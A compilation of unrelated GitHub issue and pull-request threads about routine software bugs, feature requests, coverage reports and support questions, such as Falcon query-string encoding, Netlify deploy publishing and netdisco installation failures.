Requiring txts

In config, there are 2 txt files: trainset.txt and testset.txt , but there is no other informations about them.
Could you please give some explainations about the content of them, or some examples? Thanks.

Hi, can you make further details about how you classify the data to 1000 numclasses ?


Add Modifier.transform extensions

https://developer.mozilla.org/en-US/docs/Web/CSS/transform
(We have transition extensions - but no transform ones. Whooops!)

I added this at some point but forgot to mark it fixed


[Question]: Is it possible to update data without a DTO?

What is your question?
I would like to dynamically update data over postgrest by using a binding to my internal datastructure. It seems that in the supabase-community/postgrest-kt, this is possible, however I could not find a way to achieve the same with supabase-kt without using a DTO:
override suspended fun publishValue(key: String, data: Any) {
    val result = client.postgrest["mytablename"].update {
        key to data
    }
}

How can this be achieved without using a specific DTO?

Do you mean that?
client.postgrest["table"].update({
     set(key, data)
}) {
  //filter
}

Yes that is what I needed. Thank you.


Remove unnecessary command registrations in package.json

all commands that require a "hint" can only be called through talon and not the vscode command palette so there is no need to add them to package.json because they will still work without being registered there

done via #49d99d23aaaad664f0f2f321de91ce63bf10e581
I removed all commands from the palette. assume no one ever uses the palette. will try this and wait for complaints


Add support of Spanish language

Description
LEARNER-2360
Please refer to JIRA ticket for details implemented in this story.

Approval pending on tests passing.

Codecov Report

Merging #994 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #994   +/-   ##
=========================================
  Coverage     16.77%   16.77%
  Complexity     1023     1023
=========================================
  Files           478      478
  Lines         20488    20488
  Branches       2361     2361
=========================================
  Hits           3436     3436
  Misses        16658    16658
  Partials        394      394

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d8adfb5...256a485. Read the comment docs.

@miankhalid test cases has been passed now.
Change: Lint was asking for spanish translation on some strings in strings.xml and constants.xml which i have marked as translateble = false for the time being.


Upgrade Grafana Operator to most recent version (3.6.0)

When installing the Grafana operator on OCP 4.6, it notifies that Grafana has an available update.

A potential issue with #210

Operator version lag is related to the root cause of #321.

With the PR #389 we updated Graphana to 4.2.0


falcon.testing.simulate_request's params argument does not properly encode query parameters

Version details

Python version tested: 3.7.9
Falcon version tested: 2.0.0

Observed Behavior
falcon.testing.TestClient's simulate_* methods do not correctly encode query parameters when using the params keyword argument.
import urllib.parse

import falcon
import falcon.testing
import falcon.util

class SomeHandler:
    def on_get(self, request, response):
        print("parsed params       ", request.params)

app = falcon.API()
app.add_route("/", SomeHandler())

test_client = falcon.testing.TestClient(app)

# Try a params dict with the TestClient. Note that it does not encode any special characters, and this results in a
# query string that does not decode back to the same parameters.
#
# This is because falcon.testing uses falcon.util.to_query_str, which does not apply any encoding to the supplied query
# params dict.
params = {"foo": "bar", "baz": "boz&something"}
print("original params dict", params)
print("to_query_str        ", falcon.util.to_query_str(params))
response = test_client.simulate_get("/", params=params)
print(response.status_code)
# => original params dict {'foo': 'bar', 'baz': 'boz&something'}
# => to_query_str         ?foo=bar&baz=boz&something
# => parsed params        {'foo': 'bar', 'baz': 'boz', 'something': ''}
# => 200

# Now try manually encoding the params dict ourselves with urllib. Note that the query string is then correctly
# interpreted by falcon.
params = {"foo": "bar", "baz": "boz&something"}
encoded_params = urllib.parse.urlencode(params)
print("encoded params      ", encoded_params)
response = test_client.simulate_get("/", query_string=encoded_params)
print(response.status_code)
# => encoded params       foo=bar&baz=boz%26something
# => parsed params        {'foo': 'bar', 'baz': 'boz&something'}
# => 200

Expected Behavior
I expect a WSGI app testing library that supports a way to specify query parameters as a dict to correctly encode my parameters so that the application interprets them the same way (although it is reasonable to require both sides to agree on how to handle lists as CSV vs repeating a query parameter)
I think that merely documenting this shortcoming is insufficient because the argument specifically exists to allow me to pass in query parameters as a dict.
Root Cause
This is caused by falcon.util.misc.to_query_str not applying any URL encoding to the query parameters as it constructs the query string. to_query_str looks like it is currently only used by falcon.testing.simulate_request.

Hi @aetherknight !
Indeed, that's embarrassing.
As you demonstrated, It affects not only the testing interface, but also the public utility function to_query_str:
>>> falcon.to_query_str({'foo': 'bar', 'baz': 'bar&bar&baz'})
'?foo=bar&baz=bar&bar&baz'

We'll try to rectify this for the impending 3.0 release.

Unless you want to contribute a PR @aetherknight, that would be very welcome too :wink:

The behaviour the same also for the keys.
>>> falcon.to_query_str({'a&b':'3'})
'?a&b=3'

Hm... :thinking:
IMHO, while at it, we should also make a breaking change in the function's signature, switching the default value of comma_delimited_lists to False in order to better match the csv-related default values elsewhere in the framework (in line with https://github.com/falconry/falcon/issues/1730 etc).
Thoughts?


Sync to live

Docs Build status updates of commit 83795fd:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/TOC.md
:white_check_mark:Succeeded
View

docs/create-packages/Creating-a-Package.md
:white_check_mark:Succeeded
View

docs/create-packages/Supporting-Multiple-Target-Frameworks.md
:white_check_mark:Succeeded
View

docs/create-packages/creating-a-package-dotnet-cli.md
:white_check_mark:Succeeded
View

docs/create-packages/multiple-target-frameworks-project-file.md
:white_check_mark:Succeeded
View

docs/install-nuget-client-tools.md
:white_check_mark:Succeeded
View

docs/quickstart/create-and-publish-a-package-using-the-dotnet-cli.md
:white_check_mark:Succeeded
View

docs/quickstart/create-and-publish-a-package-using-visual-studio-net-framework.md
:white_check_mark:Succeeded
View

docs/quickstart/create-and-publish-a-package-using-visual-studio.md
:white_check_mark:Succeeded
View

docs/quickstart/install-and-use-a-package-in-visual-studio.md
:white_check_mark:Succeeded
View

docs/quickstart/install-and-use-a-package-using-the-dotnet-cli.md
:white_check_mark:Succeeded
View

docs/reference/msbuild-targets.md
:white_check_mark:Succeeded
View

docs/reference/target-frameworks.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


docs: Buffer example image 404s

The example image for buffer 404s.
As of right now it is pointing to content/img/buffer.png.

This was fixed and merged in PR #4789.

the image for buffer is still broken.


Assign unique IDs to features

When the GFF3 is read from the file when the server starts:

Check each feature to see if it has a unique Apollo ID, something like:

{
  "attributes": {
    "ID": ["cds00001"],
    "Parent": ["mRNA00001"],
    "apollo_id": "1ccdfd84-587f-49aa-be63-8dab88a61b1b"
}

If the feature does not have an apollo_id, generate one for it
Once the whole file has been checked, overwrite the original file to make sure all ids are recorded in that file

Apollo_id must be also added to each child feature recursively


Prevent regular expressions syntax error

Application is crash when user send message that contain syntax of regular expression e.g. "+test"

info: Initiating RTM client authentication
info: RTM client authenticated.
info: Command dispatcher initialized
/Users/slack-sample-cli.git/node_modules/slack-terminalize/util/command.js:49
var pattern = new RegExp('\[(([^\[][,])?' + userCommand + '[^\]])\]', 'i'),
^
SyntaxError: Invalid regular expression: /[(([^[][,])?+[^]])]/: Nothing to repeat
at new RegExp (native)
at _getCommand (/Users/slack-sample-cli.git/node_modules/slack-terminalize/util/command.js:49:16)
at Object.parse (/Users/slack-sample-cli.git/node_modules/slack-terminalize/util/command.js:80:15)
at Object.handle (/Users/slack-sample-cli.git/node_modules/slack-terminalize/dispatcher.js:67:22)
at RTMClient. (/Users/slack-sample-cli.git/node_modules/slack-terminalize/index.js:24:14)
at RTMClient.emit (/Users/slack-sample-cli.git/node_modules/eventemitter3/index.js:116:35)
at RTMClient.emit (/Users/slack-sample-cli.git/node_modules/@slack/client/lib/clients/client.js:86:39)
at RTMClient._handleWsMessageViaEventHandler (/Users/slack-sample-cli.git/node_modules/@slack/client/lib/clients/rtm/client.js:447:10)
at RTMClient.handleWsMessage (/Users/slack-sample-cli.git/node_modules/@slack/client/lib/clients/rtm/client.js:401:10)
at WebSocket.wrapper (/Users/slack-sample-cli.git/node_modules/lodash/index.js:3095:19)
at emitTwo (events.js:100:13)
at WebSocket.emit (events.js:185:7)
at Receiver.ontext (/Users/slack-sample-cli.git/node_modules/ws/lib/WebSocket.js:841:10)
at /Users/slack-sample-cli.git/node_modules/ws/lib/Receiver.js:536:18
at /Users/slack-sample-cli.git/node_modules/ws/lib/Receiver.js:368:7
at /Users/slack-sample-cli.git/node_modules/ws/lib/PerMessageDeflate.js:249:5

Changes Unknown when pulling 982d09b053fb49c64a8589a9692db05c2d117075 on n4kong:master into ** on ggauravr:master**.

Changes Unknown when pulling 982d09b053fb49c64a8589a9692db05c2d117075 on n4kong:master into ** on ggauravr:master**.

Changes Unknown when pulling 5b986e1982466bcd0136d32a7fbd76864e661417 on n4kong:master into ** on ggauravr:master**.

Changes Unknown when pulling 027048fef328f0d29f9d605afc87cd046ef72e8d on n4kong:master into ** on ggauravr:master**.


[BUG] Increased search latency with Task Resource Consumer enabled

Describe the bug

We introduced Task Resource Consumer to log task resource information at a specified interval as a part of https://github.com/opensearch-project/OpenSearch/pull/2293. However, TopNSearchTasksLogger.java -> recordSearchTask() is synchronized for thread-safety. Since it's called on every (search) task completion, the performance penalty is too much on highly concurrent search workloads. In one of the tests, it came out to be ~20% higher latency due to this. This can even increase further for the clusters having nodes with large number of cores & thread pools.
Also, since logging happens in the hot-path of searches, it will introduce HOL blocking. I'm expecting the tail latencies to suffer due to this. Let's also confirm that we use async logging here.
Less concerning – As logging is triggered by a search request, it may not honor the LOG_TOP_QUERIES_FREQUENCY accurately when the search traffic is low and irregularly spaced apart. For example, consider a scenario where a few hundred requests arrive at a time t = 0 seconds but the subsequent requests arrive at a later time t = 1000 seconds, the logging will be deferred for 16+ minutes.

To Reproduce
Steps to reproduce the behavior:
Compare search latency and throughput for a cluster with large number of cores and thread pools with Task Resource Consumer (task_resource_consumers.enabled) enabled and disabled.
Expected behavior
No or acceptable performance degradation.
Plugins
Please list all plugins currently enabled.
Screenshots
If applicable, add screenshots to help explain your problem.
Host/Environment (please complete the following information):

OS: [e.g. iOS]
Version [e.g. 22]

Additional context
Add any other context about the problem here.

HI @PritLadani, 20% latency increase is concerning. are you actively working on this issue? do you have path forward?


How to enable responsive media queries?

Description
Hi, media queries are not working. I have this in nuxt.config.js
My project is based on https://github.com/atinux/atidone/
Is there some flag to enable suppor for sm:w-1/2 etc?
export default defineNuxtConfig({
  compatibilityDate: '2024-07-30',
  future: { compatibilityVersion: 4 },
  modules: [
    '@nuxthub/core',
    'nuxt-auth-utils',
    '@nuxtjs/i18n',
    '@nuxt/ui',
    '@nuxtjs/tailwindcss'
  ],
  hub: {
    database: true
  },
  devtools: {
    enabled: true
  }
})

solved by adding
export default defineNuxtConfig({
  ...
  tailwindcss: {
    config: {
      variants: {
        extend: {
          width: ['responsive']
        }
      }
    }
  }
 ...
})


rotation direction bug

When filing from 1 quadrant to 3 slopes, the direction of rotation is reversed. To be more specific, Fling from upper right to lower left direction reverses direction.
Please check the attached video.
video.zip

Thanks for the report @BongJaeChoi!
These opposite quadrant flings are quite tricky. It is not easy to determine the direction in these cases. For quadrant 1-3 the rule is, if the fling is bigger in the vertical direction than in the horizontal, then it is a clockwise fling. I think this is the correct behaviour in this case.
Can you suggest a fix?

@szugi i think
It is likely that we will branch off the gesture action based on the view's center point.

The way to distinguish is to get the intermediate coordinates when fling and divide by the coordinates of the center point of the view


Admin: manage users

Create, edit and delete users with e-mail, login, password, site access, role assignments.
Assign users to sites.
See also #45.

We also need a username besides the email address

You'll get most or all of this for free from cookiecutter

add organization model with name and thumbnail/badge
extend user model with:

many to many relation to sites (meaning all regions a user has access to or the favourite regions if the user is an administrator)
foreign key to organizations (so the organization's badge can be shown on every page a specific user created)

make use of Django's permissions (check permissions when making changes to the database)

Possible Django extension for that case: https://django-guardian.readthedocs.io/en/stable/userguide/check.html


fix: better error message for chart properties modal

SUMMARY

see title and linked issue
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TEST PLAN

manually tested.

ADDITIONAL INFORMATION

[x] Has associated issue: Fixes #11292
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

Codecov Report

Merging #11381 into master will decrease coverage by 3.14%.
The diff coverage is 75.00%.

@@            Coverage Diff             @@
##           master   #11381      +/-   ##
==========================================
- Coverage   65.78%   62.63%   -3.15%
==========================================
  Files         838      444     -394
  Lines       39845    14889   -24956
  Branches     3655     3656       +1
==========================================
- Hits        26211     9326   -16885
+ Misses      13533     5382    -8151
- Partials      101      181      +80

Flag
Coverage Δ

#cypress
?

#javascript
62.63% <75.00%> (-0.01%)
:arrow_down:

#python
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...rontend/src/explore/components/PropertiesModal.tsx
54.79% <75.00%> (-4.37%)
:arrow_down:

superset-frontend/src/SqlLab/App.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/explore/App.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/dashboard/App.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/explore/index.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/dashboard/index.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/setup/setupColors.js
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/chart/ChartContainer.jsx
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/setup/setupFormatters.js
0.00% <0.00%> (-100.00%)
:arrow_down:

superset-frontend/src/explore/reducers/index.js
0.00% <0.00%> (-100.00%)
:arrow_down:

... and 562 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 69046f0...031135b. Read the comment docs.


Title change

Current title: MAX Inception ResNet v2
Proposed title: MAX Image Classifier - Inception ResNet v2

@bdwyer2 Updated files here as well


Issue with custom vio install

Hi,
I would like to know if the vio_overlay.rosinstall is only available for mit users or for the public too? As I have tried to run the script but it says permission denied. Thank you.

Thanks for your interest in our work! As mentioned in the README, the vio_overlay.rosinstall is not publicly available at the moment (that particular overlay file is for ease of internal development for SparkLab). We're working on preparing a new release of Kimera-VIO (and Kimera-VIO-ROS) that should include the Hydra specific features, hopefully in the next few months. However, those branches are not required for running Kimera-VIO and Hydra (I'll update the README to be a little clearer on that point). Instead, they allow Kimera-VIO to publish the BoW vectors for every keyframe using this message, and a pose graph using this message for use in the loop closure detection module.

So the DGS module works in the current Kimera-VIO/Semantics? I was trying to map my custom data and, at the moment, it leaves a trace of the dynamic entities on the map.

I can confirm that the dynamic masking feature in Kimera-Semantics does appear to work for uHumans2 (I tested against the uHumans2_office_s1_06h.bag):

I also put together an alternative rosinstall file that points to a tested branch of Kimera-VIO that can be compiled in the same workspace in Hydra and runs against uHumans2, which I'll merge in momentarily.  This still doesn't include features that Hydra uses (i.e. publishing the pose graph and loop closure information).


Add Out-of-date Branch Workflow: Warning and Update Action

Situation:

PR branch is no longer up-to-date with the base branch
Project requires that PR branches be merged with latest changes

On the website, this warning is shown:

In the extension, the Description view only shows:

Side Note:

If you attempt to click "Merge Pull Request", the error warns about the status checks that fail, but says nothing about the branch being out-of-date.

Feature Request:

Warn the user if the branch is out-of-date
Add a button to update the branch with the latest changes from the base branch

any updates?


Could not install dependency netdisco

Feature requests should go in the forum: https://community.home-assistant.io/c/feature-requests
Home Assistant release (hass --version):
0.17.2
Python release (python3 --version):
Python 3.4.3+
Component/platform:
Ubuntu 15 --> problem with installing netdisco
Description of problem:
Getting the following error in HA log after installing:
"Not initializing discovery because could not install dependency netdisco==0.6.1"
I've found some other people with this issue but not of the proposed fixes helped:

Run as sudo

Install python3-dev (already installed)
Install python3-setuptools (already installed)
Install netdisco with pip3, gives following error:

Command "/usr/bin/python3 -u -c "import setuptools, tokenize;file='/tmp/pip-build-njm5fpgf/netifaces/setup.py';exec(compile(getattr(tokenize, 'open', open)(file).read().replace('\r\n', '\n'), file, 'exec'))" install --record /tmp/pip-tuisyzm5-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-njm5fpgf/netifaces/
Expected/question:
Is this a known issue, and anymore tips/tricks how to solve this error? I'm quite a beginner so please be patient with me :)
Thank you :+1:

Try to install netifaces manually. I guess that you don't' have a compiler installed. That is covered in the forum at a couple of places.

Installing netifaces manually gives the same error :( I'll quickly browse the forum

I had issues using the Discovery component due to failure to install Netdisco. I also had issues with the Chromecast capability as the PyChromecast would not install.
I experienced the same issue as above.
I resolved by installing gcc and its dependencies (sudo apt-get install gcc).

Docs were updated.

Hi timester,
Thanks for the advice, yesterday evening I've tried the same. Ubuntu recommends:
sudo apt-get install build-essential checkinstall
To install the compilers, worked like a charm.
Thanks fabaff for updating the docs :+1:
Kind regards,
Rob

We tried to avoid distribution-specific docs but it seems that this is not always working out.

Or maybe instead of the general docs, make a separate, platform specific, troubleshooting page?

In Fedora I also had to install the package redhat-rpm-config, in addition to python3-devel.

not working on windows either. not sure how to install/configure a compiler.  Don't get me wrong, I've installed many-a-compiler in my day, but.... can anyone point me in the right direction here?


Error: getNamespaceValue: Node no longer exists

Sometimes I have this error ... maybe add a try catch ?
Warning: PicoFeed\Parser\XmlParser::getNamespaceValue(): Node no longer exists

Do you know which feed url is generating this error?

I am sorry no ... 3 or 4 in a list of 1000

maybe add a try catch

You can not catch warnings in php. Beside that, a proper solution is to fix warnings instead of hiding them.
With which Feedreader do you use picoFeed? In case it is miniflux, do you have the content grabber enabled?

I am sorry no ... 3 or 4 in a list of 1000

We need to know which feed causes the warning. Otherwise it is impossible to fix this.
Can you reliable reproduce the warning i.e. by exporting your subscriptions, removing all feeds from your Feedreader, import the subscriptions and updating the feeds? This way you can remove feeds from your subscriptions until you have found the faulty one.

I catch an example of this error:
bin/picofeed feed "http://www.tandfonline.com/action/showFeed?ui=0&mi=h7u81o&ai=1g8&jc=rcel20&type=etoc&feed=rss"
PHP Warning:  PicoFeed\Parser\XmlParser::getNamespaceValue(): Node no longer exists in vendor\fguillot\picofeed\lib\PicoFeed\Parser\XmlParser.php on line 274
Warning: PicoFeed\Parser\XmlParser::getNamespaceValue(): Node no longer exists in vendor\fguillot\picofeed\lib\PicoFeed\Parser\XmlParser.php on line 274
PHP Warning:  PicoFeed\Parser\XmlParser::getNamespaceValue(): Node no longer exists in vendor\fguillot\picofeed\lib\PicoFeed\Parser\XmlParser.php on line 274
Feed::id = http://www.tandfonline.com/action/showFeed?ui=0&mi=h7u81o&ai=1g8&jc=rcel20&type=etoc&feed=rss
Feed::title = http://www.tandfonline.com
Feed::feed_url = http://www.tandfonline.com/action/showFeed?ui=0&mi=h7u81o&ai=1g8&jc=rcel20&type=etoc&feed=rss
Feed::site_url = http://www.tandfonline.com
Feed::language =
Feed::description =
Feed::logo =
Feed::date = Thu, 14 May 15 13:32:27 +0000
Feed::isRTL() = false
Feed::items = 0 items

Bug analysis in a nutshell:

warning is related to a SimpleXMLElement::children($uri) call on an empty SimpleXMLElement element in getNamespaceValue
the rss 1.0 parser doesn't expect a namespaced channel element (dunno if namespaced channel elements are valid, but the feed validator doesn't complain)

@acrozes The issue is fixed in the latest picofeed development version. The is parsed correctly (items with content are returned) and the warning doesn't occur any longer.
Would you please test if it works for you as well and close the ticket afterwards!


--prod flag is not making any effect

- Do you want to request a feature or report a bug?
Bug
- What is the current behavior?
I am building my frontend(react) in gitlab CI/CD and trying to deploy it using
netlify deploy --dir build --site {API Id} --auth {Token} --prod command
Output
Deploy path: {path}/build
Deploying to live site URL...
✔ Finished hashing 30 files
✔ CDN requesting 0 files
✔ Finished uploading 0 assets
✔ Deploy is live!

Logs:              https://app.netlify.com/sites/...
Unique Deploy URL: https://....netlify.com
Live URL:          https://app.mydomaon.com

It is working file for unique deploy URL.
But problem is that I have still have old version of my site in production (app.mydomaon.com).
--prod flag is not deploying my project to production.
- Local Environment Information
netlify-cli/2.40.0 darwin-x64 node-v12.12.0

@shakirovs It seems like the deploy is happening on the prod context indeed. Can you please make sure that the build directory has the updated files. It could be that your site generator is not updating the files or updating them in a different directory. You can test this by building the site locally, making sure build directory has the latest changes and then deploying and seeing if the production has the updated version or not.

I installed cli-on my local machine
Removed build directory
Changed site title to "Test title"
Built my site bu running yarn build
Checked build/index.html title. It is "Test title" there
Deploy netlify deploy --dir build --site {API Id} --auth {Token}--prod

Result:
I have "Test title" here https://5e8c0581a99897046--site_name.netlify.com
and old title here https://app.domain.com

Maybe I am missing something🤔

I see. I just tested this scenario on a dummy create-react-app website and it seems to be working. You can take a look at the deploy settings for your Netlify site to make sure everything is fine. Maybe double check the domain name?

Try hitting your site from a different browser or CURL. It could be a cache problem.

You can take a look at the deploy settings for your Netlify site to make sure everything is fine.

Could you be more specific?

I opened deploy logs page (app.netlify.com/sites/.../deploys/...) and published it manually by pressing the "Publish deploy" Now I can see changes in my production site!
Seems --prod flag is not working for me.
It is deploying project like draft.

Actually, I'm not sure exactly. It should work just fine. Maybe @fool can shed some light

I found the issue.
I pressed "stop auto publishing" button on deploys page to avoid publishing when I push changes(or merge) to master. Because I have to check lint and run tests in CI before deploy.
When I unlocked publishing it worked. Unfortunately it is not gonna solve my issue, because now it is deploying my project every time when I push something to master.
I just want to trigger deploy manually.

May I just create project without binding it to git repository and push my artifacts manually(by netlify-cli)? (like firebase)

Yes, that is possible if you want to go that route.

How can I unlink my site from git repository? I can't find it in settings

I don't you can do this from Netlify dashboard. You can goto your git hosting provider and remove Netlify Deploy Keys and web hooks for that repository.

Git it, Thank you!


Openjdk importer branch

for issue: #1496
Added a OpenJDK advisory importer that scrapes the vulnerability data from the link: https://openjdk.org/groups/vulnerability/advisories/ and then added the importer to importer registery

@TG1999 @ambuj-1211 @ziadhany  please review this pr

ok, on it

@keshav-space sorry but do i need to revamp or change logic parts of my code too??

@harmonicfunc the core logic does not need change, just the integration in a pipeline!
I see you may have some issues with merging ... this is easy at first! You likely want to rebase or restart on the latest main branch and push a new PR, which I would guess is why you closed this?


Wrong link for Architecture Overview doc

If this is about an issue in the guides
Describe the issue
The link of Architecture Overview is wrong.
On this page: https://docs.microsoft.com/en-us/learn/support/lti-application, the link of Architecture Overview is https://aka.ms/LearnLTI-Repo-Docs5. If I click the link, it navigates to https://github.com/microsoft/Learn-LTI/blob/main/docs/ARCHITECTURE_OVERVIEW.md), not https://github.com/microsoft/Learn-LTI/blob/main/docs/ARCHITECTURE_OVERVIEW.md.
Because it uses Microsoft short url so I cannot create the PR to fix it. Please remove the useless ")". Thanks.
Expected behavior
The link of Architecture Overview should navigate to the correct document.

Thanks @yanxiaodi for reporting the issue. We'll get the short-url fixed and update the thread.

Hi Sorry changes were wrong in link https://github.com/microsoft/Learn-LTI/blob/main/docs/ARCHITECTURE_OVERVIEW.md)
The additional ) needs removing from the url.

Hi @yanxiaodi, we have updated the aka.ms link to remove extraneous ) in the redirect url. Thanks a lot for reporting the issue.


Dispatching an Action during lifecycle hooks launches exception

When an action is dispatched during a component Lifecycle Hook like ngOnInit or ngAfterContentInit an exception is thrown. The message of the error is this.
ApplicationRef.tick is called recursively

Hi @francesco-strazzullo,
We just release 3.1.1 which contains a fix for this.


[TA3086] fix(replica): don't add replica if RF is met

On branch 3006-fix-add-replica
Changes to be committed:
modified:   controller/control.go
modified:   controller/rest/replica.go
This commit fix the issue where the new replicas are getting added
even if the RF condition is met. i.e, (Replication Factor = Replica
count)
Signed-off-by: Utkarsh Mani Tripathi<EMAIL_ADDRESS>

Thanks @payes for the review. Added the ci for the same.


Added Hacktoberfest Projects website

@mattjegan What do you think about this?
P.S. It's not spam

Great site! Opens projects sorted by stars! Nice!
Would be nice if you would have sorted it alphabetically.
I will do it later


chore: synth refresh

This PR was generated using Autosynth. :rainbow:
Synth log will be available here:
https://source.cloud.google.com/results/invocations/4f529bd2-cfcf-45db-ba39-d5ed9df08063/targets

[ ] To automatically regenerate this PR, check this box. (May take up to 24 hours.)

This is getting merged to allow synthtool to get up to date with the latest templates


Added support for Philippine currency

Thank you for the PR @eta1993.
Please help update the README.md

Thank you for the PR @eta1993.
Please help update the README.md

Done

Thank you for the PR @eta1993.
Please help update the README.md

Done

The changes are not visible in the file list.

Do you mean this one?

Hi @eta1993 , I am referring to the changes in the https://github.com/mastermunj/to-words/blob/main/README.md file.

Hi @eta1993 , I am referring to the changes in the https://github.com/mastermunj/to-words/blob/main/README.md file.

Committed the fix to README.md. Done

Thank you, @eta1993. Released the changes with v3.6.1


Crash Report

Fatal Crash occurred on Thread named 'Thread-7'
Unix Time :<PHONE_NUMBER>348
LocalTime : 23 ago 2024 20:36:05
ACTIVE_CODENAMES = []
app_version = 2.6.0
device_model = SM-A035M
SEM_INT = 3301
SECURITY_PATCH = 2024-03-01
BASE_OS = samsung/a03ub/a03:13/TP1A.220624.014/A035MUBU5CWK1:user/release-keys
SEM_FIRST_SDK_INT = 30
RELEASE = 13
MEDIA_PERFORMANCE_CLASS = 0
CODENAME = REL
manufacturer = samsung
RELEASE_OR_CODENAME = 13
RELEASE_OR_PREVIEW_DISPLAY = 13
KNOWN_CODENAMES = {HoneycombMr1, HoneycombMr2, Lollipop, Kitkat, Tiramisu, Gingerbread, Cupcake, IceCreamSandwichMr1, JellyBean, IceCreamSandwich, LollipopMr1, M, N, O, P, Q, R, S, Sv2, Base, NMr1, OMr1, JellyBeanMr1, JellyBeanMr2, Donut, Froyo, GingerbreadMr1, EclairMr1, Honeycomb, Eclair01, KitkatWatch, Base11, Eclair}
SDK_INT = 33
PREVIEW_SDK_FINGERPRINT = REL
PREVIEW_SDK_INT = 0
SDK = 33
SEM_PLATFORM_INT = 140100
brand = samsung
supported_abi = [arm64-v8a,armeabi-v7a,armeabi]
INCREMENTAL = A035MUBS6CXC1
Error Message : listFiles(...) must not be null
Error Cause : null
Error StackTrace :
java.lang.NullPointerException: listFiles(...) must not be null
at com.rk.xededitor.MainActivity.treeview2.TreeViewAdapter$Companion.merge(TreeViewAdapter.kt:214)
at com.rk.xededitor.MainActivity.treeview2.TreeView.init$lambda$3(TreeView.kt:35)
at com.rk.xededitor.MainActivity.treeview2.TreeView.$r8$lambda$JBvSDOOqbKRJBQ0KIXzLdcjWoLM(Unknown Source:0)
at com.rk.xededitor.MainActivity.treeview2.TreeView$$ExternalSyntheticLambda0.run(D8$$SyntheticClass:0)
at java.lang.Thread.run(Thread.java:1012)

Fatal Crash occurred on Thread named 'Thread-7' Unix Time :<PHONE_NUMBER>348 LocalTime : 23 ago 2024 20:36:05
ACTIVE_CODENAMES = [] app_version = 2.6.0 device_model = SM-A035M SEM_INT = 3301 SECURITY_PATCH = 2024-03-01 BASE_OS = samsung/a03ub/a03:13/TP1A.220624.014/A035MUBU5CWK1:user/release-keys SEM_FIRST_SDK_INT = 30 RELEASE = 13 MEDIA_PERFORMANCE_CLASS = 0 CODENAME = REL manufacturer = samsung RELEASE_OR_CODENAME = 13 RELEASE_OR_PREVIEW_DISPLAY = 13 KNOWN_CODENAMES = {HoneycombMr1, HoneycombMr2, Lollipop, Kitkat, Tiramisu, Gingerbread, Cupcake, IceCreamSandwichMr1, JellyBean, IceCreamSandwich, LollipopMr1, M, N, O, P, Q, R, S, Sv2, Base, NMr1, OMr1, JellyBeanMr1, JellyBeanMr2, Donut, Froyo, GingerbreadMr1, EclairMr1, Honeycomb, Eclair01, KitkatWatch, Base11, Eclair} SDK_INT = 33 PREVIEW_SDK_FINGERPRINT = REL PREVIEW_SDK_INT = 0 SDK = 33 SEM_PLATFORM_INT = 140100 brand = samsung supported_abi = [arm64-v8a,armeabi-v7a,armeabi] INCREMENTAL = A035MUBS6CXC1
Error Message : listFiles(...) must not be null Error Cause : null Error StackTrace :
java.lang.NullPointerException: listFiles(...) must not be null at com.rk.xededitor.MainActivity.treeview2.TreeViewAdapter$Companion.merge(TreeViewAdapter.kt:214) at com.rk.xededitor.MainActivity.treeview2.TreeView.init$lambda$3(TreeView.kt:35) at com.rk.xededitor.MainActivity.treeview2.TreeView.$r8$lambda$JBvSDOOqbKRJBQ0KIXzLdcjWoLM(Unknown Source:0) at com.rk.xededitor.MainActivity.treeview2.TreeView$$ExternalSyntheticLambda0.run(D8$$SyntheticClass:0) at java.lang.Thread.run(Thread.java:1012)

this crash is already fixed in action builds, you are using release build or fdroid
you can wait for next release or you can download latest commit build from github actions


How can i find all bundle ids related to a particular app group?

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I have read the Contribution Guidelines

Issue Description
Complete output when running fastlane, including the stack trace and command used

You can use: --capture_output as the last commandline argument to get that collected for you

[INSERT OUTPUT HERE]
Environment
Please run fastlane env and copy the output below. This will help us help you :+1:
If you used --capture_output option please remove this block - as it is already included there.
[INSERT OUTPUT HERE]

Lots of ways. Depends on your needs and project structure.
Off the top of my head, https://github.com/lyndsey-ferguson/get_product_bundle_id/blob/master/README.md
If that doesn't work, learn from existing plugins/actions and create your own! We all love new contributions!


deb-get does not recognize Linux Mint Debian Edition (LMDE) as a supported release

Expected behavior
deb-get should recognize LMDE 5 (Elsie) as Debian bullseye
Actual behavior
deb-get reports "Linux Mint Elsie is not supported because it is not derived from a supported Debian or Ubuntu release."
Steps to reproduce
Install deb-get on LMDE 5.
Run 'deb-get' from root prompt.
System information
Run the following a paste the output below:
/etc/os-release
PRETTY_NAME="LMDE 5 (elsie)"
NAME="LMDE"
VERSION_ID="5"
VERSION="5 (elsie)"
ID=linuxmint
ID_LIKE=debian
HOME_URL="https://www.linuxmint.com/"
SUPPORT_URL="https://forums.linuxmint.com/"
BUG_REPORT_URL="http://linuxmint-troubleshooting-guide.readthedocs.io/en/latest/"
PRIVACY_POLICY_URL="https://www.linuxmint.com/"
VERSION_CODENAME=elsie
DEBIAN_CODENAME=bullseye
/etc/lsb-release
DISTRIB_ID=LinuxMint
DISTRIB_RELEASE=5
DISTRIB_CODENAME=elsie
DISTRIB_DESCRIPTION="LMDE 5 Elsie"
deb-get version
0.3.5
deb-get update
n/a

